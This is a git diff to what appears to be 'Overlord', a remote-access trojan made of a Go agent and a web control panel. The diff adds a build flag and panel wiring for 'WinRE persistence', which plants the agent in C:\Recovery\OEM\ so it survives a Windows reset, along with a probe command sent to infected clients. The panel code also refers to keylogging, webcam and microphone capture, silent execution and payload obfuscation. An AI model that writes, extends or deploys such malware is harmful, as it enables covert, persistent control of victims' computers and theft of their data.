diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index a0130fa..d223336 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2392,6 +2392,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "winre_probe": + if !WinRESupported() { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "winre_uninstall": if err := handleWinREUninstall(ctx, env, cmdID); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) diff --git a/Overlord-Client/cmd/agent/handlers/winre_stub.go b/Overlord-Client/cmd/agent/handlers/winre_stub.go index 9bc69f2..0d1faea 100644 --- a/Overlord-Client/cmd/agent/handlers/winre_stub.go +++ b/Overlord-Client/cmd/agent/handlers/winre_stub.go @@ -1,5 +1,5 @@ -//go:build !windows -// +build !windows +//go:build !windows || !overlord_winre +// +build !windows !overlord_winre package handlers @@ -11,9 +11,13 @@ import ( ) func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error { - return fmt.Errorf("WinRE persistence is only supported on Windows") + return fmt.Errorf("WinRE persistence is not enabled on this client") } func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error { - return fmt.Errorf("WinRE persistence is only supported on Windows") + return fmt.Errorf("WinRE persistence is not enabled on this client") +} + +func WinRESupported() bool { + return false } diff --git a/Overlord-Client/cmd/agent/handlers/winre_windows.go b/Overlord-Client/cmd/agent/handlers/winre_windows.go index 55ec9ef..3ebe87b 100644 --- a/Overlord-Client/cmd/agent/handlers/winre_windows.go +++ b/Overlord-Client/cmd/agent/handlers/winre_windows.go @@ -1,5 +1,5 @@ -//go:build windows -// +build windows +//go:build windows && overlord_winre +// +build windows,overlord_winre package handlers @@ -312,3 +312,7 @@ func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) e } return uninstallWinREPersistence() } + +func WinRESupported() bool { + return true +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 9a9bb42..79b2c65 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -141,6 +141,7 @@ function collectFormSettings() { noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, + enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, @@ -205,6 +206,7 @@ function applyFormSettings(settings) { if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); + if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); @@ -1411,6 +1413,7 @@ form?.addEventListener("submit", async (e) => { noPrinting, disableKeylogger: !enableKeylogger, enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, + enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false, fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false, outputName: outputNameVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js index 96153d4..8d05a6d 100644 --- a/Overlord-Server/public/assets/command-palette.js +++ b/Overlord-Server/public/assets/command-palette.js @@ -12,7 +12,7 @@ const ALL_PER_CLIENT_ACTIONS = [ { key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` }, { key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` }, { key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` }, - { key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` }, + { key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}`, windowsOnly: true }, ]; let featurePermsCache = null; @@ -30,10 +30,20 @@ async function loadFeaturePerms() { } } -function PER_CLIENT_ACTIONS() { +function clientSupportsAction(client, action) { + if (!action.windowsOnly) return true; + const isWindows = (client?.os || "").toLowerCase().includes("windows"); + if (!isWindows) return false; + return true; +} + +function PER_CLIENT_ACTIONS(client) { const perms = featurePermsCache; - if (!perms) return ALL_PER_CLIENT_ACTIONS; - return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false); + return ALL_PER_CLIENT_ACTIONS.filter((a) => { + if (a.windowsOnly && client && !clientSupportsAction(client, a)) return false; + if (a.feature && perms && perms[a.feature] === false) return false; + return true; + }); } const RECENT_KEY = "cmdp_recent_v1"; @@ -143,7 +153,7 @@ function buildResults(query, pages, clients) { } } - for (const a of PER_CLIENT_ACTIONS()) { + for (const a of PER_CLIENT_ACTIONS(null)) { const sc = score(query, a.label); if (sc > 0) results.push({ kind: "action", action: a, _score: sc }); } @@ -280,6 +290,7 @@ async function rebuild() { const action = state.pendingAction; const matched = clients .map((c) => ({ c, sc: rankBest(state.query, [c.nickname, c.host, c.id, c.os, c.country].filter(Boolean)) + (c.online ? 30 : 0) })) + .filter(({ c }) => clientSupportsAction(c, action)) .filter((x) => x.sc > 0 || !state.query) .sort((a, b) => b.sc - a.sc) .slice(0, 60) @@ -331,7 +342,7 @@ function activate(idx, newTab) { if (r.kind === "client") { state.mode = "actions-for-client"; state.pendingClient = r.client; - state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); + state.results = PER_CLIENT_ACTIONS(r.client).map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); state.active = 0; const input = document.getElementById("cmdp-input"); if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); } @@ -370,7 +381,7 @@ async function open() { if (state.mode === "actions-for-client" && state.pendingClient) { const q = state.query.toLowerCase(); const c = state.pendingClient; - state.results = PER_CLIENT_ACTIONS() + state.results = PER_CLIENT_ACTIONS(c) .map((a) => ({ a, sc: score(q, a.label) })) .filter((x) => x.sc > 0 || !q) .sort((a, b) => b.sc - a.sc) diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 94edd08..cbdb611 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -377,9 +377,10 @@ function applyMenuSupportRules(clientId) { const winreBtn = menu.querySelector('[data-open="winre"]'); if (winreBtn) { - setAvailability(winreBtn, isOnline && isWindows, isOnline ? "WinRE Persistence is only supported on Windows clients." : "Client is offline"); - const label = winreBtn.querySelector("span"); - if (label) label.style.textDecoration = isWindows ? "" : "line-through"; + winreBtn.style.display = isWindows ? "" : "none"; + if (isWindows) { + setAvailability(winreBtn, isOnline, "Client is offline"); + } } const elevateBtn = menu.querySelector('[data-action="elevate"]'); diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index cedc787..0d09d75 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -31,7 +31,7 @@ const MENU_GROUPS = [ items: [ { label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" }, { label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true }, - { label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" }, + { label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre", windowsOnly: true }, ], }, { diff --git a/Overlord-Server/public/assets/winre.js b/Overlord-Server/public/assets/winre.js index f29e21c..96a2cdd 100644 --- a/Overlord-Server/public/assets/winre.js +++ b/Overlord-Server/public/assets/winre.js @@ -279,6 +279,12 @@ async function uploadFile(file) { } function renderResults(results, actionLabel) { + const reasonLabels = { + not_enabled: "WinRE persistence is not enabled on this client", + unsupported: "WinRE persistence is not enabled on this client", + windows_only: "WinRE is only supported on Windows clients", + offline: "Client is offline", + }; const namedResults = results.map((r) => { const client = allClients.find((c) => c.id === r.clientId); const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8); @@ -286,7 +292,7 @@ function renderResults(results, actionLabel) { return { clientName, clientId: r.clientId, error: r.error }; } if (r.ok === false) { - return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` }; + return { clientName, clientId: r.clientId, error: reasonLabels[r.reason] || r.reason || `${actionLabel} failed` }; } return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` }; }); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 9ec7412..0d9b582 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -500,6 +500,16 @@ + + + + + WinRE Persistence + + Compile WinRE persistence support into the agent (Windows only). Allows planting the agent into C:\Recovery\OEM\ to survive a Windows push reset. Not included in macOS/Linux builds regardless of this setting. + + + diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts index 5d99922..bc6f416 100644 --- a/Overlord-Server/src/build/types.ts +++ b/Overlord-Server/src/build/types.ts @@ -50,6 +50,7 @@ export type BuildConfig = { criticalProcess?: boolean; disableKeylogger?: boolean; enableWebrtc?: boolean; + enableWinRE?: boolean; fetchPublicIP?: boolean; uploadToFileShare?: boolean; }; diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index f6f804f..b941640 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -473,6 +473,7 @@ async function startServer() { winre: { WINRE_ROOT, winreUploads, + pendingCommandReplies, }, fileDownload: { DATA_DIR, diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 3e673bf..49e63b5 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -130,6 +130,7 @@ export type CommandType = | "uninstall" | "elevate" | "file_upload_http" + | "winre_probe" | "winre_install" | "winre_uninstall" | "file_icon" diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 8182db4..f0331cf 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -90,6 +90,7 @@ type BuildProcessConfig = { noPrinting?: boolean; disableKeylogger?: boolean; enableWebrtc?: boolean; + enableWinRE?: boolean; builtByUserId?: number; outputName?: string; garbleLiterals?: boolean; @@ -1059,6 +1060,7 @@ func runBoundFiles() { if (config.noPrinting) baseTags.push("noprint"); if (config.disableKeylogger) baseTags.push("nokeylogger"); if (config.enableWebrtc) baseTags.push("overlord_webrtc"); + if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre"); if (hasBoundFiles) baseTags.push("hasbinder"); if (isIosTarget) baseTags.push("ios_target"); if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console"); diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 1fda772..cc9cee7 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -107,6 +107,7 @@ export async function handleBuildRoutes( criticalProcess, disableKeylogger, enableWebrtc, + enableWinRE, outputExtension, sleepSeconds, boundFiles, @@ -390,6 +391,7 @@ export async function handleBuildRoutes( criticalProcess: safeCriticalProcess, disableKeylogger: !!disableKeylogger, enableWebrtc: !!enableWebrtc, + enableWinRE: !!enableWinRE, outputExtension: safeOutputExtension, sleepSeconds: safeSleepSeconds, boundFiles: safeBoundFiles, diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts index 7b65b2c..1ecbbc8 100644 --- a/Overlord-Server/src/server/routes/winre-routes.ts +++ b/Overlord-Server/src/server/routes/winre-routes.ts @@ -20,11 +20,52 @@ type WinREUpload = { size: number; }; +type PendingCommandReply = { + resolve: (result: { ok: boolean; message?: string }) => void; + reject: (error: Error) => void; + timeout: NodeJS.Timeout; + clientId: string; +}; + type WinRERouteDeps = { WINRE_ROOT: string; winreUploads: Map; + pendingCommandReplies: Map; }; +function isWindowsClient(target: any): boolean { + const clientOs = (target?.os || "").toLowerCase(); + return clientOs.includes("windows"); +} + +async function probeWinRE(deps: WinRERouteDeps, target: any, clientId: string): Promise<{ ok: boolean; reason?: string; message?: string }> { + const cmdId = uuidv4(); + const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + reject(new Error("WinRE support probe timed out")); + }, 15_000); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId }); + }); + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "winre_probe", + id: cmdId, + }), + ); + + try { + const result = await replyPromise; + return result.ok + ? { ok: true } + : { ok: false, reason: "not_enabled", message: result.message || "WinRE persistence is not enabled on this client" }; + } catch (error: any) { + return { ok: false, reason: "probe_failed", message: error.message || "WinRE support probe failed" }; + } +} + export async function handleWinRERoutes( req: Request, url: URL, @@ -109,7 +150,7 @@ export async function handleWinRERoutes( return new Response("Not found", { status: 404 }); } - const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = []; for (const clientId of clientIds) { const target = clientManager.getClient(clientId); @@ -118,12 +159,17 @@ export async function handleWinRERoutes( continue; } - const clientOs = (target.os || "").toLowerCase(); - if (!clientOs.includes("windows")) { + if (!isWindowsClient(target)) { results.push({ clientId, ok: false, reason: "windows_only" }); continue; } + const probe = await probeWinRE(deps, target, clientId); + if (!probe.ok) { + results.push({ clientId, ok: false, reason: probe.reason, error: probe.message }); + continue; + } + const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`; const destPath = `${destDir}\\${upload.name}`; @@ -195,7 +241,7 @@ export async function handleWinRERoutes( return new Response("Bad request", { status: 400 }); } - const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = []; for (const clientId of clientIds) { const target = clientManager.getClient(clientId); @@ -204,12 +250,17 @@ export async function handleWinRERoutes( continue; } - const clientOs = (target.os || "").toLowerCase(); - if (!clientOs.includes("windows")) { + if (!isWindowsClient(target)) { results.push({ clientId, ok: false, reason: "windows_only" }); continue; } + const probe = await probeWinRE(deps, target, clientId); + if (!probe.ok) { + results.push({ clientId, ok: false, reason: probe.reason, error: probe.message }); + continue; + } + const cmdId = uuidv4(); target.ws.send( encodeMessage({ @@ -261,7 +312,7 @@ export async function handleWinRERoutes( return new Response("Bad request", { status: 400 }); } - const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = []; for (const clientId of clientIds) { const target = clientManager.getClient(clientId); @@ -270,12 +321,17 @@ export async function handleWinRERoutes( continue; } - const clientOs = (target.os || "").toLowerCase(); - if (!clientOs.includes("windows")) { + if (!isWindowsClient(target)) { results.push({ clientId, ok: false, reason: "windows_only" }); continue; } + const probe = await probeWinRE(deps, target, clientId); + if (!probe.ok) { + results.push({ clientId, ok: false, reason: probe.reason, error: probe.message }); + continue; + } + const cmdId = uuidv4(); target.ws.send( encodeMessage({
C:\Recovery\OEM\